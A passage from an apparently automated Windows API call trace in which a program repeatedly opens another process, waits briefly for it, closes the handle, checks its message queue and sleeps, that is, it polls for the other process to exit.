wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.719] Sleep (dwMilliseconds=0x1) [0059.735] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.736] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.750] CloseHandle (hObject=0x4b0) returned 1 [0059.750] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.750] Sleep (dwMilliseconds=0x1) [0059.765] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.765] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.781] CloseHandle (hObject=0x4b0) returned 1 [0059.781] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.781] Sleep (dwMilliseconds=0x1) [0059.797] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.797] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.812] CloseHandle (hObject=0x4b0) returned 1 [0059.812] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.812] Sleep (dwMilliseconds=0x1) [0059.828] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.828] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.844] CloseHandle (hObject=0x4b0) returned 1 [0059.844] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.844] Sleep (dwMilliseconds=0x1) [0059.859] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.859] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.875] CloseHandle (hObject=0x4b0) returned 1 [0059.875] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.875] Sleep (dwMilliseconds=0x1) [0059.900] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.900] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.906] CloseHandle (hObject=0x4b0) returned 1 [0059.906] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.906] Sleep (dwMilliseconds=0x1) [0059.921] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.921] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.937] CloseHandle (hObject=0x4b0) returned 1 [0059.937] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.937] Sleep (dwMilliseconds=0x1) [0059.955] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4b0 [0059.955] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xa) returned 0x102 [0059.968] CloseHandle (hObject=0x4b0) returned 1 [0059.968] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0059.968] Sleep (dwMilliseconds=0x1) [0060.002] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x39c [0060.002] WaitForSingleObject (hHandle=0x39c, dwMilliseconds=0xa) returned 0x102 [0060.015] CloseHandle (hObject=0x39c) returned 1 [0060.015] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.015] Sleep (dwMilliseconds=0x1) [0060.031] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x39c [0060.031] WaitForSingleObject (hHandle=0x39c, dwMilliseconds=0xa) returned 0x102 [0060.055] CloseHandle (hObject=0x39c) returned 1 [0060.055] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.055] Sleep (dwMilliseconds=0x1) [0060.094] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4bc [0060.094] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0xa) returned 0x102 [0060.109] CloseHandle (hObject=0x4bc) returned 1 [0060.109] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.109] Sleep (dwMilliseconds=0x1) [0060.124] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4bc [0060.124] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0xa) returned 0x102 [0060.140] CloseHandle (hObject=0x4bc) returned 1 [0060.140] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.140] Sleep (dwMilliseconds=0x1) [0060.155] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.156] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.171] CloseHandle (hObject=0x4c0) returned 1 [0060.171] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.171] Sleep (dwMilliseconds=0x1) [0060.188] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.188] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.202] CloseHandle (hObject=0x4c0) returned 1 [0060.202] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.202] Sleep (dwMilliseconds=0x1) [0060.218] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.218] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.235] CloseHandle (hObject=0x4c0) returned 1 [0060.235] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.236] Sleep (dwMilliseconds=0x1) [0060.249] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.249] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.265] CloseHandle (hObject=0x4c0) returned 1 [0060.265] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.265] Sleep (dwMilliseconds=0x1) [0060.280] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.280] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.296] CloseHandle (hObject=0x4c0) returned 1 [0060.296] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.296] Sleep (dwMilliseconds=0x1) [0060.314] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.315] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.327] CloseHandle (hObject=0x4c0) returned 1 [0060.327] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.327] Sleep (dwMilliseconds=0x1) [0060.361] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.361] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.374] CloseHandle (hObject=0x4c0) returned 1 [0060.374] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.374] Sleep (dwMilliseconds=0x1) [0060.389] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.389] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.406] CloseHandle (hObject=0x4c0) returned 1 [0060.406] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.406] Sleep (dwMilliseconds=0x1) [0060.421] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.421] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.437] CloseHandle (hObject=0x4c0) returned 1 [0060.437] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.437] Sleep (dwMilliseconds=0x1) [0060.452] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.452] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.468] CloseHandle (hObject=0x4c0) returned 1 [0060.468] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.468] Sleep (dwMilliseconds=0x1) [0060.484] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.484] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.499] CloseHandle (hObject=0x4c0) returned 1 [0060.499] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.499] Sleep (dwMilliseconds=0x1) [0060.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.514] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.530] CloseHandle (hObject=0x4c0) returned 1 [0060.530] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.530] Sleep (dwMilliseconds=0x1) [0060.547] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.547] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.563] CloseHandle (hObject=0x4c0) returned 1 [0060.563] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.563] Sleep (dwMilliseconds=0x1) [0060.577] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.577] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.593] CloseHandle (hObject=0x4c0) returned 1 [0060.593] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.593] Sleep (dwMilliseconds=0x1) [0060.613] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.613] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.630] CloseHandle (hObject=0x4c0) returned 1 [0060.630] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.630] Sleep (dwMilliseconds=0x1) [0060.646] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.646] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.655] CloseHandle (hObject=0x4c0) returned 1 [0060.655] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.655] Sleep (dwMilliseconds=0x1) [0060.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.670] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.686] CloseHandle (hObject=0x4c0) returned 1 [0060.686] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.686] Sleep (dwMilliseconds=0x1) [0060.702] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.702] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.717] CloseHandle (hObject=0x4c0) returned 1 [0060.717] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.718] Sleep (dwMilliseconds=0x1) [0060.733] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.733] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.748] CloseHandle (hObject=0x4c0) returned 1 [0060.748] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.748] Sleep (dwMilliseconds=0x1) [0060.764] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.764] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.782] CloseHandle (hObject=0x4c0) returned 1 [0060.782] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.782] Sleep (dwMilliseconds=0x1) [0060.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.795] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.811] CloseHandle (hObject=0x4c0) returned 1 [0060.811] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.811] Sleep (dwMilliseconds=0x1) [0060.833] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.833] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.861] CloseHandle (hObject=0x4c0) returned 1 [0060.861] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.861] Sleep (dwMilliseconds=0x1) [0060.874] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.874] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.888] CloseHandle (hObject=0x4c0) returned 1 [0060.889] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.889] Sleep (dwMilliseconds=0x1) [0060.904] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.904] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.920] CloseHandle (hObject=0x4c0) returned 1 [0060.920] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.920] Sleep (dwMilliseconds=0x1) [0060.935] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.935] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.952] CloseHandle (hObject=0x4c0) returned 1 [0060.952] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.952] Sleep (dwMilliseconds=0x1) [0060.967] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.967] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0060.983] CloseHandle (hObject=0x4c0) returned 1 [0060.983] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0060.983] Sleep (dwMilliseconds=0x1) [0060.998] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0060.998] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.014] CloseHandle (hObject=0x4c0) returned 1 [0061.014] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.014] Sleep (dwMilliseconds=0x1) [0061.029] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.040] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.051] CloseHandle (hObject=0x4c0) returned 1 [0061.051] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.051] Sleep (dwMilliseconds=0x1) [0061.060] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.060] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.076] CloseHandle (hObject=0x4c0) returned 1 [0061.076] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.076] Sleep (dwMilliseconds=0x1) [0061.094] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.094] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.108] CloseHandle (hObject=0x4c0) returned 1 [0061.108] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.108] Sleep (dwMilliseconds=0x1) [0061.123] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.123] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.155] CloseHandle (hObject=0x4c0) returned 1 [0061.155] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.155] Sleep (dwMilliseconds=0x1) [0061.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.170] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.185] CloseHandle (hObject=0x4c0) returned 1 [0061.185] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.185] Sleep (dwMilliseconds=0x1) [0061.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.201] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.217] CloseHandle (hObject=0x4c0) returned 1 [0061.217] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.217] Sleep (dwMilliseconds=0x1) [0061.232] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.232] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.247] CloseHandle (hObject=0x4c0) returned 1 [0061.247] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.247] Sleep (dwMilliseconds=0x1) [0061.263] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.263] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.279] CloseHandle (hObject=0x4c0) returned 1 [0061.279] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.279] Sleep (dwMilliseconds=0x1) [0061.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.294] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.312] CloseHandle (hObject=0x4c0) returned 1 [0061.312] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.312] Sleep (dwMilliseconds=0x1) [0061.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.326] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.341] CloseHandle (hObject=0x4c0) returned 1 [0061.341] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.341] Sleep (dwMilliseconds=0x1) [0061.358] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.358] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.372] CloseHandle (hObject=0x4c0) returned 1 [0061.372] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.373] Sleep (dwMilliseconds=0x1) [0061.388] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.388] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.404] CloseHandle (hObject=0x4c0) returned 1 [0061.404] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.404] Sleep (dwMilliseconds=0x1) [0061.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.419] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.435] CloseHandle (hObject=0x4c0) returned 1 [0061.435] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.435] Sleep (dwMilliseconds=0x1) [0061.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.451] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.466] CloseHandle (hObject=0x4c0) returned 1 [0061.466] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.466] Sleep (dwMilliseconds=0x1) [0061.517] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.517] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.533] CloseHandle (hObject=0x4c0) returned 1 [0061.533] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.533] Sleep (dwMilliseconds=0x1) [0061.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.544] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.559] CloseHandle (hObject=0x4c0) returned 1 [0061.560] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.560] Sleep (dwMilliseconds=0x1) [0061.575] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.575] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.591] CloseHandle (hObject=0x4c0) returned 1 [0061.591] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.591] Sleep (dwMilliseconds=0x1) [0061.608] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.608] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.731] CloseHandle (hObject=0x4c0) returned 1 [0061.736] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x874ff68) returned 0 [0061.736] Sleep (dwMilliseconds=0x1) [0061.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x9bc) returned 0x4c0 [0061.778] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0xa) returned 0x102 [0061.823] CloseHandle (hObject=0x4c0) returned 1 [0061.823] PeekMessageW (in: lpMsg=0x874ff68, hWnd=0x0, wMsgFilterMin=0x0, 